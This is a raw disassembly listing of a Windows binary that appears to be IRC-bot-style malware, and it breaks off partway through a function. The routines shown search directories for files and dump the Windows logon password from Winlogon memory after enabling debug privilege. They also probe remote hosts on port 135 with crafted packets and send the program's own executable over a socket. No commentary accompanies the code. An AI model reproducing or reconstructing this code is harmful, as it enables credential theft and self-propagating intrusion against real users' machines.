push edi call dword_422040 ; ExitProcess int 3 ; Trap to Debugger sub_403500 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035E0 proc near ; CODE XREF: sub_4035E0+9Ep ; sub_403732+C3p var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi push [ebp+arg_10] mov esi, 104h push offset aS_1 ; "%s\\*" lea eax, [ebp+var_248] push esi push eax call sub_416BCD mov edi, dword_422054 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_0 ; "%s\\%s" jz short loc_40369D loc_40362C: ; CODE XREF: sub_4035E0+BBj test [ebp+var_144], 10h jz short loc_403689 cmp [ebp+var_118], 2Eh jnz short loc_403650 cmp [ebp+var_117], 0 jz short loc_403689 cmp [ebp+var_117], 2Eh jz short loc_403689 loc_403650: ; CODE XREF: sub_4035E0+5Cj lea eax, [ebp+var_118] push eax push [ebp+arg_10] lea eax, [ebp+var_34C] push ebx push esi push eax call sub_416BCD push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4035E0 add esp, 2Ch mov [ebp+arg_14], eax loc_403689: ; CODE XREF: sub_4035E0+53j ; sub_4035E0+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_422050 ; FindNextFileA test eax, eax jnz short loc_40362C loc_40369D: ; CODE XREF: sub_4035E0+4Aj push [ebp+var_4] call dword_42204C ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_416BCD add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403723 loc_4036D4: ; CODE XREF: sub_4035E0+141j inc [ebp+arg_14] lea eax, [ebp+var_118] push eax push [ebp+arg_10] lea eax, [ebp+var_54C] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_416BCD push 1 push [ebp+arg_8] lea eax, [ebp+var_54C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_422050 ; FindNextFileA test eax, eax jnz short loc_4036D4 loc_403723: ; CODE XREF: sub_4035E0+F2j push esi call dword_42204C ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_4035E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403732 proc near ; DATA XREF: sub_409848+319Do var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0A7h lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] lea edx, [eax+1] xor ebx, ebx loc_403765: ; CODE XREF: sub_403732+38j mov cl, [eax] inc eax cmp cl, bl jnz short loc_403765 sub eax, edx cmp [ebp+eax+var_115], 5Ch jnz short loc_403791 lea eax, [ebp+var_114] lea edx, [eax+1] loc_403781: ; CODE XREF: sub_403732+54j mov cl, [eax] inc eax cmp cl, bl jnz short loc_403781 sub eax, edx mov [ebp+eax+var_115], bl loc_403791: ; CODE XREF: sub_403732+44j lea eax, [ebp+var_218] push eax push offset aFindfileSearch ; "[FINDFILE]: Searching for file: %s." lea eax, [ebp+var_49C] push 200h push eax call sub_416BCD add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4037D6 push ebx push [ebp+var_C] lea eax, [ebp+var_49C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_405D62 add esp, 14h loc_4037D6: ; CODE XREF: sub_403732+82j push ebx lea eax, [ebp+var_114] push eax lea eax, [ebp+var_218] push eax push [ebp+var_C] lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_4035E0 push eax lea eax, [ebp+var_49C] push offset aFindfileFilesF ; "[FINDFILE]: Files found: %d." push eax call sub_416975 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_403834 push ebx push [ebp+var_C] lea eax, [ebp+var_49C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_405D62 add esp, 14h loc_403834: ; CODE XREF: sub_403732+E0j lea eax, [ebp+var_49C] push eax call sub_401F0F push [ebp+var_10] call sub_4139F6 pop ecx pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_403732 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_403852 proc near ; CODE XREF: sub_403E31+ABp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_422060 push edi mov ebx, 100h push ebx push 8 call esi ; GetProcessHeap mov edi, dword_42205C push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4392D8 ; ZwQuerySystemInformation push ebp push 0 call esi ; GetProcessHeap push eax call dword_422058 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] push ecx push eax push ebp push 10h mov [esp+38h+var_C], eax call dword_4392D8 ; ZwQuerySystemInformation test eax, eax jnz short loc_40393F mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_40393F xor ecx, ecx inc ecx cmp eax, ecx mov ebx, ebp mov [esp+28h+var_18], ecx jb short loc_40393F loc_4038DB: ; CODE XREF: sub_403852+EBj cmp word ptr [ebx+8], 5 jnz short loc_403932 push 0 push 0 call dword_439AE0 ; RtlCreateQueryDebugBuffer mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_439AE4 ; RtlQueryProcessDebugInformation test eax, eax jnz short loc_403923 mov eax, [edi+60h] mov [esp+28h+var_8], eax lea eax, [edi+80h] push offset aWinlogon ; "WINLOGON" push eax call sub_4174C6 pop ecx push eax call sub_417440 test eax, eax pop ecx pop ecx jnz short loc_403957 loc_403923: ; CODE XREF: sub_403852+AAj test edi, edi jz short loc_40392E push edi call dword_439AE8 ; RtlDestroyQueryDebugBuffer loc_40392E: ; CODE XREF: sub_403852+D3j mov eax, [esp+28h+var_10] loc_403932: ; CODE XREF: sub_403852+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4038DB loc_40393F: ; CODE XREF: sub_403852+6Dj ; sub_403852+7Aj ... xor edi, edi loc_403941: ; CODE XREF: sub_403852+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call dword_422058 ; RtlFreeHeap mov eax, edi loc_40394F: ; CODE XREF: sub_403852+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_403957: ; CODE XREF: sub_403852+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4039C0 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_40396D: ; CODE XREF: sub_403852+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_4174C6 pop ecx push eax call sub_417440 test eax, eax pop ecx pop ecx jnz short loc_4039D4 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_4174C6 pop ecx push eax call sub_417440 test eax, eax pop ecx pop ecx jnz short loc_4039B2 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4039B2: ; CODE XREF: sub_403852+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_40396D loc_4039C0: ; CODE XREF: sub_403852+10Fj test edi, edi jz short loc_4039CB push edi call dword_439AE8 ; RtlDestroyQueryDebugBuffer loc_4039CB: ; CODE XREF: sub_403852+170j mov edi, [esp+28h+var_4] jmp loc_403941 ; --------------------------------------------------------------------------- loc_4039D4: ; CODE XREF: sub_403852+13Cj xor eax, eax jmp loc_40394F sub_403852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039DB proc near ; CODE XREF: sub_403E31+F0p var_68 = byte ptr -68h var_64 = dword ptr -64h var_44 = byte ptr -44h var_38 = dword ptr -38h var_33 = byte ptr -33h var_2F = byte ptr -2Fh var_28 = byte ptr -28h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 68h push esi push [ebp+arg_0] xor esi, esi push esi push 410h mov [ebp+var_14], esi call dword_422078 ; OpenProcess cmp eax, esi mov [ebp+var_8], eax jnz short loc_403A04 xor eax, eax jmp loc_403B76 ; --------------------------------------------------------------------------- loc_403A04: ; CODE XREF: sub_4039DB+20j mov eax, [ebp+arg_4] push ebx mov [eax], esi push edi lea eax, [ebp+var_68] push eax call dword_422074 ; GetSystemInfo push [ebp+var_64] mov [ebp+var_C], esi mov esi, dword_422060 push 8 call esi ; GetProcessHeap mov edi, dword_42205C push eax call edi ; RtlAllocateHeap mov ebx, dword_422070 lea ecx, [ebp+var_C] push ecx push [ebp+var_64] mov [ebp+var_4], eax push eax push 7FFDF000h push [ebp+var_8] call ebx ; ReadProcessMemory test eax, eax jnz short loc_403A54 xor esi, esi jmp loc_403B69 ; --------------------------------------------------------------------------- loc_403A54: ; CODE XREF: sub_4039DB+70j push 1Ch lea eax, [ebp+var_44] push eax mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_8] call dword_42206C ; VirtualQueryEx test eax, eax jz loc_403B58 test [ebp+var_33], 10h jz loc_403B58 test [ebp+var_2F], 1 jnz loc_403B58 push [ebp+var_38] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_C] push eax push [ebp+var_38] mov eax, [ebp+var_4] push edi push dword ptr [eax+18h] mov [ebp+var_10], edi push [ebp+var_8] call ebx ; ReadProcessMemory test eax, eax jz loc_403B58 loc_403AAF: ; CODE XREF: sub_4039DB+108j push edi push offset dword_438AD8 call sub_42193C test eax, eax pop ecx pop ecx jnz short loc_403AD7 lea eax, [edi+200h] push eax push offset dword_4392E0 call sub_42193C test eax, eax pop ecx pop ecx jz short loc_403AE7 loc_403AD7: ; CODE XREF: sub_4039DB+E3j mov eax, [ebp+var_38] mov ecx, [ebp+var_10] inc edi inc edi add eax, ecx cmp edi, eax jb short loc_403AAF jmp short loc_403B58 ; --------------------------------------------------------------------------- loc_403AE7: ; CODE XREF: sub_4039DB+FAj test edi, edi jz short loc_403B58 lea eax, [ebp+var_18] push eax lea eax, [edi+410h] push eax call dword_422068 ; FileTimeToLocalFileTime test eax, eax jz short loc_403B24 lea eax, [ebp+var_28] push eax lea eax, [ebp+var_18] push eax call dword_422064 ; FileTimeToSystemTime test eax, eax jz short loc_403B24 mov ecx, [ebp+arg_4] xor eax, eax mov al, [edi+42Ch] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_403B24: ; CODE XREF: sub_4039DB+123j ; sub_4039DB+135j movzx eax, byte ptr [edi+42Dh] mov dword_439AF8, eax mov eax, [ebp+var_4] mov eax, [eax+18h] sub eax, [ebp+var_10] mov [ebp+var_14], 1 lea eax, [eax+edi+434h] add edi, 434h mov dword_439AF0, eax mov dword_439AF4, edi loc_403B58: ; CODE XREF: sub_4039DB+90j ; sub_4039DB+9Aj ... push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call dword_422058 ; RtlFreeHeap mov esi, [ebp+var_14] loc_403B69: ; CODE XREF: sub_4039DB+74j push [ebp+var_8] call dword_42202C ; CloseHandle pop edi mov eax, esi pop ebx loc_403B76: ; CODE XREF: sub_4039DB+24j pop esi leave retn sub_4039DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B79 proc near ; CODE XREF: sub_403E31:loc_403F28p var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1B = byte ptr -1Bh var_17 = byte ptr -17h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push [ebp+arg_0] push 0 push 410h call dword_422078 ; OpenProcess test eax, eax mov [ebp+var_4], eax jnz short loc_403B98 leave retn ; --------------------------------------------------------------------------- loc_403B98: ; CODE XREF: sub_403B79+1Bj mov eax, [ebp+arg_4] and dword ptr [eax], 0 push ebx push esi push edi lea eax, [ebp+var_50] push eax call dword_422074 ; GetSystemInfo mov eax, [ebp+var_44] mov ebx, [ebp+var_48] cmp ebx, eax mov [ebp+var_10], eax jnb loc_403C58 mov edi, dword_422060 loc_403BC2: ; CODE XREF: sub_403B79+D9j push 1Ch lea eax, [ebp+var_2C] push eax push ebx push [ebp+var_4] call dword_42206C ; VirtualQueryEx test eax, eax jz short loc_403C46 test [ebp+var_1B], 10h mov eax, [ebp+var_20] mov [ebp+var_8], eax jz short loc_403C4C test [ebp+var_17], 1 jnz short loc_403C4C push eax push 8 call edi ; GetProcessHeap push eax call dword_42205C ; RtlAllocateHeap and [ebp+var_C], 0 mov esi, eax lea eax, [ebp+var_C] push eax push [ebp+var_20] push esi push ebx push [ebp+var_4] call dword_422070 ; ReadProcessMemory test eax, eax jz short loc_403C38 push offset dword_438AD8 push esi call sub_42193C test eax, eax pop ecx pop ecx jnz short loc_403C38 lea eax, [esi+400h] push offset dword_4392E0 push eax call sub_42193C test eax, eax pop ecx pop ecx jz short loc_403C6A loc_403C38: ; CODE XREF: sub_403B79+95j ; sub_403B79+A6j push esi push 0 call edi ; GetProcessHeap push eax call dword_422058 ; RtlFreeHeap jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C46: ; CODE XREF: sub_403B79+5Bj mov eax, [ebp+var_4C] mov [ebp+var_8], eax loc_403C4C: ; CODE XREF: sub_403B79+67j ; sub_403B79+6Dj ... add ebx, [ebp+var_8] cmp ebx, [ebp+var_10] jb loc_403BC2 loc_403C58: ; CODE XREF: sub_403B79+3Dj xor esi, esi loc_403C5A: ; CODE XREF: sub_403B79+123j push [ebp+var_4] call dword_42202C ; CloseHandle pop edi mov eax, esi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_403C6A: ; CODE XREF: sub_403B79+BDj add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_439AF0, ebx mov dword_439AF4, eax cmp [eax], cl jnz short loc_403C8C cmp [eax+1], cl jz short loc_403C94 loc_403C8C: ; CODE XREF: sub_403B79+10Cj ; sub_403B79+119j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_403C8C loc_403C94: ; CODE XREF: sub_403B79+111j mov eax, [ebp+arg_4] xor esi, esi mov [eax], ecx inc esi jmp short loc_403C5A sub_403B79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C9E proc near ; CODE XREF: sub_403E31+134p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_439AEC add eax, eax push ebx mov ebx, dword_422060 mov [ebp+var_8], ax add eax, 2 push esi mov [ebp+var_6], ax movzx eax, ax push edi push eax push 8 call ebx ; GetProcessHeap push eax call dword_42205C ; RtlAllocateHeap mov ecx, dword_439AEC mov esi, dword_439AF4 mov edi, eax lea eax, [ebp+var_8] push eax mov [ebp+var_4], edi xor eax, eax rep movsw mov al, byte ptr dword_439AF8 push eax call dword_4392DC ; RtlRunDecodeUnicodeString push [ebp+var_4] mov esi, offset dword_439B00 push offset dword_438AD8 push offset dword_4392E0 push [ebp+arg_0] push offset aFindpassTheWin ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push esi call sub_416BCD add esp, 1Ch push [ebp+var_4] push 0 call ebx ; GetProcessHeap push eax call dword_422058 ; RtlFreeHeap pop edi mov eax, esi pop esi pop ebx leave retn sub_403C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D30 proc near ; CODE XREF: sub_403E31:loc_403F6Cp var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_439AEC add eax, eax push ebx mov [ebp+var_C], ax add eax, 2 push esi mov [ebp+var_A], ax movzx eax, ax push edi push eax push 8 call dword_422060 ; GetProcessHeap push eax call dword_42205C ; RtlAllocateHeap and [ebp+var_4], 0 mov [ebp+var_8], eax mov ebx, offset dword_439D00 loc_403D6A: ; CODE XREF: sub_403D30+E2j mov ecx, dword_439AEC mov esi, dword_439AF4 mov edi, [ebp+var_8] lea eax, [ebp+var_C] push eax push [ebp+var_4] rep movsw call dword_4392DC ; RtlRunDecodeUnicodeString mov eax, dword_439AEC mov esi, [ebp+var_8] xor edx, edx inc edx xor edi, edi test eax, eax jbe short loc_403DC3 loc_403D9A: ; CODE XREF: sub_403D30+8Dj test edx, edx jz short loc_403DE8 mov cl, [esi] test cl, cl jz short loc_403DB6 cmp byte ptr [esi+1], 0 jnz short loc_403DB6 cmp cl, 20h jnb short loc_403DB1 xor edx, edx loc_403DB1: ; CODE XREF: sub_403D30+7Dj cmp cl, 7Eh jbe short loc_403DB8 loc_403DB6: ; CODE XREF: sub_403D30+72j ; sub_403D30+78j xor edx, edx loc_403DB8: ; CODE XREF: sub_403D30+84j inc esi inc esi inc edi cmp edi, eax jb short loc_403D9A test edx, edx jz short loc_403DE8 loc_403DC3: ; CODE XREF: sub_403D30+68j push [ebp+var_8] push offset dword_438AD8 push offset dword_4392E0 push [ebp+arg_0] push offset aFindpassTheWin ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push ebx call sub_416BCD add esp, 1Ch jmp short loc_403E08 ; --------------------------------------------------------------------------- loc_403DE8: ; CODE XREF: sub_403D30+6Cj ; sub_403D30+91j push offset dword_438AD8 push offset dword_4392E0 push [ebp+arg_0] push offset aFindpassTheW_0 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push ebx call sub_416BCD add esp, 18h loc_403E08: ; CODE XREF: sub_403D30+B6j inc [ebp+var_4] cmp [ebp+var_4], 0FFh jbe loc_403D6A push [ebp+var_8] push 0 call dword_422060 ; GetProcessHeap push eax call dword_422058 ; RtlFreeHeap pop edi pop esi mov eax, ebx pop ebx leave retn sub_403D30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_403E31 proc near ; DATA XREF: sub_409848+4737o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 29Ch mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+74h+var_9C] rep movsd xor esi, esi inc esi mov [eax+90h], esi call sub_412A3C cmp eax, esi mov [ebp+74h+var_4], eax jz short loc_403E70 cmp eax, 2 jz short loc_403E70 push offset aFindpassOnlySu ; "[FINDPASS]: Only supported on Windows N"... jmp loc_403FAD ; --------------------------------------------------------------------------- loc_403E70: ; CODE XREF: sub_403E31+2Ej ; sub_403E31+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_408CDE test eax, eax pop ecx pop ecx jz loc_403FA8 push offset aNtdll_dll ; "NTDLL.DLL" call dword_422088 ; LoadLibraryA mov esi, dword_422084 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+74h+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4392D8, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_439AE0, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_439AE4, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_439AE8, eax call esi ; GetProcAddress mov dword_4392DC, eax call sub_403852 test eax, eax mov [ebp+74h+arg_0], eax jz loc_403F7C mov esi, dword_422080 mov edi, 400h push edi mov ebx, offset dword_438AD8 push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4392E0 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+74h+var_4], 1 push offset dword_439AEC push [ebp+74h+arg_0] jnz short loc_403F28 call sub_4039DB jmp short loc_403F2D ; --------------------------------------------------------------------------- loc_403F28: ; CODE XREF: sub_403E31+EEj call sub_403B79 loc_403F2D: ; CODE XREF: sub_403E31+F5j test eax, eax pop ecx pop ecx jz short loc_403F75 cmp dword_439AEC, 0 jnz short loc_403F5C push ebx push edi push [ebp+74h+arg_0] lea eax, [ebp+74h+var_29C] push offset aFindpassTheW_1 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push eax call sub_416BCD add esp, 18h jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F5C: ; CODE XREF: sub_403E31+109j cmp [ebp+74h+var_4], 1 push [ebp+74h+arg_0] jnz short loc_403F6C call sub_403C9E jmp short loc_403F71 ; --------------------------------------------------------------------------- loc_403F6C: ; CODE XREF: sub_403E31+132j call sub_403D30 loc_403F71: ; CODE XREF: sub_403E31+139j pop ecx push eax jmp short loc_403F81 ; --------------------------------------------------------------------------- loc_403F75: ; CODE XREF: sub_403E31+100j push offset aFindpassUnable ; "[FINDPASS]: Unable to find the password"... jmp short loc_403F81 ; --------------------------------------------------------------------------- loc_403F7C: ; CODE XREF: sub_403E31+B5j push offset aFindpassUnab_0 ; "[FINDPASS]: Unable to find Winlogon Pro"... loc_403F81: ; CODE XREF: sub_403E31+142j ; sub_403E31+149j lea eax, [ebp+74h+var_29C] push eax call sub_416975 pop ecx pop ecx loc_403F8F: ; CODE XREF: sub_403E31+129j push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_408CDE pop ecx pop ecx push [ebp+74h+var_8] call dword_42207C ; FreeLibrary jmp short loc_403FBB ; --------------------------------------------------------------------------- loc_403FA8: ; CODE XREF: sub_403E31+4Ej push offset aFindpassFailed ; "[FINDPASS]: Failed to enable Debug Priv"... loc_403FAD: ; CODE XREF: sub_403E31+3Aj lea eax, [ebp+74h+var_29C] push eax call sub_416975 pop ecx pop ecx loc_403FBB: ; CODE XREF: sub_403E31+175j xor esi, esi cmp [ebp+74h+var_10], esi jnz short loc_403FDC push esi push [ebp+74h+var_14] lea eax, [ebp+74h+var_29C] push eax lea eax, [ebp+74h+var_98] push eax push [ebp+74h+var_9C] call sub_405D62 add esp, 14h loc_403FDC: ; CODE XREF: sub_403E31+18Fj lea eax, [ebp+74h+var_29C] push eax call sub_401F0F push [ebp+74h+var_18] call sub_4139F6 pop ecx pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_403E31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FFA proc near ; CODE XREF: sub_40402D+11Cp ; sub_40402D+145p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov edx, [ebp+arg_4] sub edx, [ebp+arg_C] push ebx push esi xor eax, eax test edx, edx push edi jle short loc_404022 loc_40400C: ; CODE XREF: sub_403FFA+26j mov esi, [ebp+arg_0] mov ecx, [ebp+arg_C] mov edi, [ebp+arg_8] add esi, eax xor ebx, ebx repe cmpsb jz short loc_404029 inc eax cmp eax, edx jl short loc_40400C loc_404022: ; CODE XREF: sub_403FFA+10j xor al, al loc_404024: ; CODE XREF: sub_403FFA+31j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_404029: ; CODE XREF: sub_403FFA+21j mov al, 1 jmp short loc_404024 sub_403FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40402D proc near ; CODE XREF: .text:00414624p ; .text:00414710p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_416B90 mov eax, [ebp+arg_4] dec eax jz short loc_40406A dec eax jz short loc_404048 dec eax xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404048: ; CODE XREF: sub_40402D+14j push 3 push 1388h push [ebp+arg_0] call dword_43A434 ; inet_addr push eax call sub_4018C1 add esp, 0Ch neg eax sbb eax, eax and eax, 3 leave retn ; --------------------------------------------------------------------------- loc_40406A: ; CODE XREF: sub_40402D+11j push ebx push esi push 6 push 1 push 2 call dword_43A3BC ; socket mov esi, eax or ebx, 0FFFFFFFFh xor eax, eax cmp esi, ebx mov [ebp+arg_4], esi jz loc_40418F push edi lea edi, [ebp+var_10] stosd stosd stosd stosd push 87h mov [ebp+var_10], 2 call dword_43A514 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_40877E pop ecx mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax push esi call dword_43A36C ; connect cmp eax, ebx jz short loc_4040D9 xor edi, edi push edi push 48h push offset dword_42E508 push esi call dword_43A458 ; send cmp eax, ebx jnz short loc_4040E0 loc_4040D9: ; CODE XREF: sub_40402D+95j ; sub_40402D+CCj ... xor esi, esi jmp loc_404183 ; --------------------------------------------------------------------------- loc_4040E0: ; CODE XREF: sub_40402D+AAj push edi mov esi, 2000h push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call dword_43A324 ; recv cmp eax, ebx jz short loc_4040D9 cmp [ebp+var_200E], 0Ch jnz short loc_4040D9 push edi push 18h push offset dword_42E554 push [ebp+arg_4] call dword_43A458 ; send cmp eax, ebx jz short loc_4040D9 push edi push esi lea eax, [ebp+var_2010] push eax push [ebp+arg_4] call dword_43A324 ; recv mov esi, eax cmp esi, ebx jz short loc_4040D9 cmp [ebp+var_200E], 2 jnz short loc_4040D9 push 10h push offset loc_42E570 lea eax, [ebp+var_2010] push esi push eax call sub_403FFA add esp, 10h test al, al jz short loc_404163 xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_404181 ; --------------------------------------------------------------------------- loc_404163: ; CODE XREF: sub_40402D+126j push 10h push offset dword_42E584 lea eax, [ebp+var_2010] push esi push eax call sub_403FFA add esp, 10h neg al sbb eax, eax and eax, 3 loc_404181: ; CODE XREF: sub_40402D+134j mov esi, eax loc_404183: ; CODE XREF: sub_40402D+AEj push [ebp+arg_4] call dword_43A4D0 ; closesocket mov eax, esi pop edi loc_40418F: ; CODE XREF: sub_40402D+57j pop esi pop ebx leave retn sub_40402D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_4042A2+4A2p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_422204 ; WSAStartup push 0 push 1 push 2 call dword_422208 ; socket push [ebp+arg_0] mov dword_439F00, eax mov [ebp+var_10], 2 call dword_42220C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_422210 ; ntohs mov [ebp+var_E], ax push 10h lea eax, [ebp+var_10] push eax push dword_439F00 call dword_422214 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40420B push dword_439F00 call dword_422218 ; closesocket call dword_42221C ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_404193+60j xor eax, eax inc eax leave retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404210 proc near ; CODE XREF: sub_4042A2+4AEp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi push 104h lea eax, [ebp+var_104] push eax push 0 call dword_422010 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_422990 push eax call sub_41720C mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_40427D jmp short loc_40429F ; --------------------------------------------------------------------------- loc_404249: ; CODE XREF: sub_404210+72j push 400h lea eax, [ebp+var_504] push 1 push eax call sub_416FB7 add esp, 10h push 0 push eax lea eax, [ebp+var_504] push eax push dword_439F00 call dword_422200 ; send push 0Ah call dword_422000 ; Sleep loc_40427D: ; CODE XREF: 